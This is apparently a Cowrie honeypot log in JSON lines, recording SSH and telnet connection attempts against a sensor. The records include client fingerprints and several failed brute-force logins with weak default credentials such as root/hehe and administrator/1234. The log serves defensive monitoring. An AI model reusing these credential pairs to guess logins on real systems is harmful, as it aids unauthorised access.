\\x83n\\xd9U\\x84\\xf0\\x86\\x10\\x1et\\rr\\xf6\\x0b\\xdb\\xdd\\xde\\xd1-\\x00\\x15\\x00\\xbb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:57:00.536490Z","src_ip":"178.20.55.16","session":"b613b915d0b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"25.1","message":"Connection lost after 25.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:57:00.994765Z","src_ip":"178.20.55.16","session":"b613b915d0b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.345752000808716,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:57:06.621125Z","src_ip":"125.111.209.101","session":"840ccddf9aa8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36760,"dst_ip":"159.203.135.109","dst_port":22,"session":"a273946be809","protocol":"ssh","message":"New connection: 159.203.92.129:36760 (159.203.135.109:22) [session: a273946be809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:57:09.697166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:57:09.702176Z","src_ip":"159.203.92.129","session":"a273946be809","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:57:09.707085Z","src_ip":"159.203.92.129","session":"a273946be809","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123123","message":"login attempt [administrator/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:57:09.719708Z","src_ip":"159.203.92.129","session":"a273946be809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:57:10.742572Z","src_ip":"159.203.92.129","session":"a273946be809","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":36672,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e1b5fb5e844","protocol":"ssh","message":"New connection: 198.98.55.71:36672 (10.17.0.5:22) [session: 4e1b5fb5e844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:57:30.106188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:57:30.113927Z","src_ip":"198.98.55.71","session":"4e1b5fb5e844","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:57:30.119354Z","src_ip":"198.98.55.71","session":"4e1b5fb5e844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hehe","message":"login attempt [root/hehe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:57:30.171795Z","src_ip":"198.98.55.71","session":"4e1b5fb5e844","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:57:31.180357Z","src_ip":"198.98.55.71","session":"4e1b5fb5e844","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.19.90","src_port":12940,"dst_ip":"159.203.135.109","dst_port":22,"session":"636c90e62554","protocol":"ssh","message":"New connection: 125.166.19.90:12940 (159.203.135.109:22) [session: 636c90e62554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:57:33.965764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:57:33.970412Z","src_ip":"125.166.19.90","session":"636c90e62554","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:57:34.249661Z","src_ip":"125.166.19.90","session":"636c90e62554","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user04","password":"user041","message":"login attempt [user04/user041] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:57:35.379156Z","src_ip":"125.166.19.90","session":"636c90e62554","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:57:36.664266Z","src_ip":"125.166.19.90","session":"636c90e62554","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39608,"dst_ip":"159.203.135.109","dst_port":22,"session":"551e825967a5","protocol":"ssh","message":"New connection: 159.203.92.129:39608 (159.203.135.109:22) [session: 551e825967a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:57:54.798811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:57:54.803850Z","src_ip":"159.203.92.129","session":"551e825967a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:57:54.808574Z","src_ip":"159.203.92.129","session":"551e825967a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"1234","message":"login attempt [administrator/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:57:54.820936Z","src_ip":"159.203.92.129","session":"551e825967a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:57:55.827558Z","src_ip":"159.203.92.129","session":"551e825967a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":40708,"dst_ip":"10.17.0.5","dst_port":22,"session":"f12e8d37f2b8","protocol":"ssh","message":"New connection: 198.98.55.71:40708 (10.17.0.5:22) [session: f12e8d37f2b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:58:19.549482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:58:19.554411Z","src_ip":"198.98.55.71","session":"f12e8d37f2b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:58:19.559981Z","src_ip":"198.98.55.71","session":"f12e8d37f2b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1234567","message":"login attempt [postgres/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:58:19.610938Z","src_ip":"198.98.55.71","session":"f12e8d37f2b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:58:20.619428Z","src_ip":"198.98.55.71","session":"f12e8d37f2b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41950,"dst_ip":"159.203.135.109","dst_port":22,"session":"52fb943064f0","protocol":"ssh","message":"New connection: 159.203.92.129:41950 (159.203.135.109:22) [session: 52fb943064f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:58:39.631313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:58:39.635926Z","src_ip":"159.203.92.129","session":"52fb943064f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:58:39.640395Z","src_ip":"159.203.92.129","session":"52fb943064f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"12345","message":"login attempt [administrator/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:58:39.652513Z","src_ip":"159.203.92.129","session":"52fb943064f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:58:40.664735Z","src_ip":"159.203.92.129","session":"52fb943064f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.124.174.73","src_port":55346,"dst_ip":"10.17.0.5","dst_port":22,"session":"22e32c4c3f40","protocol":"ssh","message":"New connection: 40.124.174.73:55346 (10.17.0.5:22) [session: 22e32c4c3f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:59:04.085452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:59:04.090550Z","src_ip":"40.124.174.73","session":"22e32c4c3f40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:59:04.139680Z","src_ip":"40.124.174.73","session":"22e32c4c3f40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.124.174.73","src_port":55354,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfc360505159","protocol":"ssh","message":"New connection: 40.124.174.73:55354 (10.17.0.5:22) [session: bfc360505159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:59:04.259219Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_134.199.244.163_22","message":"Remote SSH version: MGLNDD_134.199.244.163_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:59:04.263544Z","src_ip":"40.124.174.73","session":"bfc360505159","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:59:04.268090Z","src_ip":"40.124.174.73","session":"bfc360505159","protocol":"ssh"}
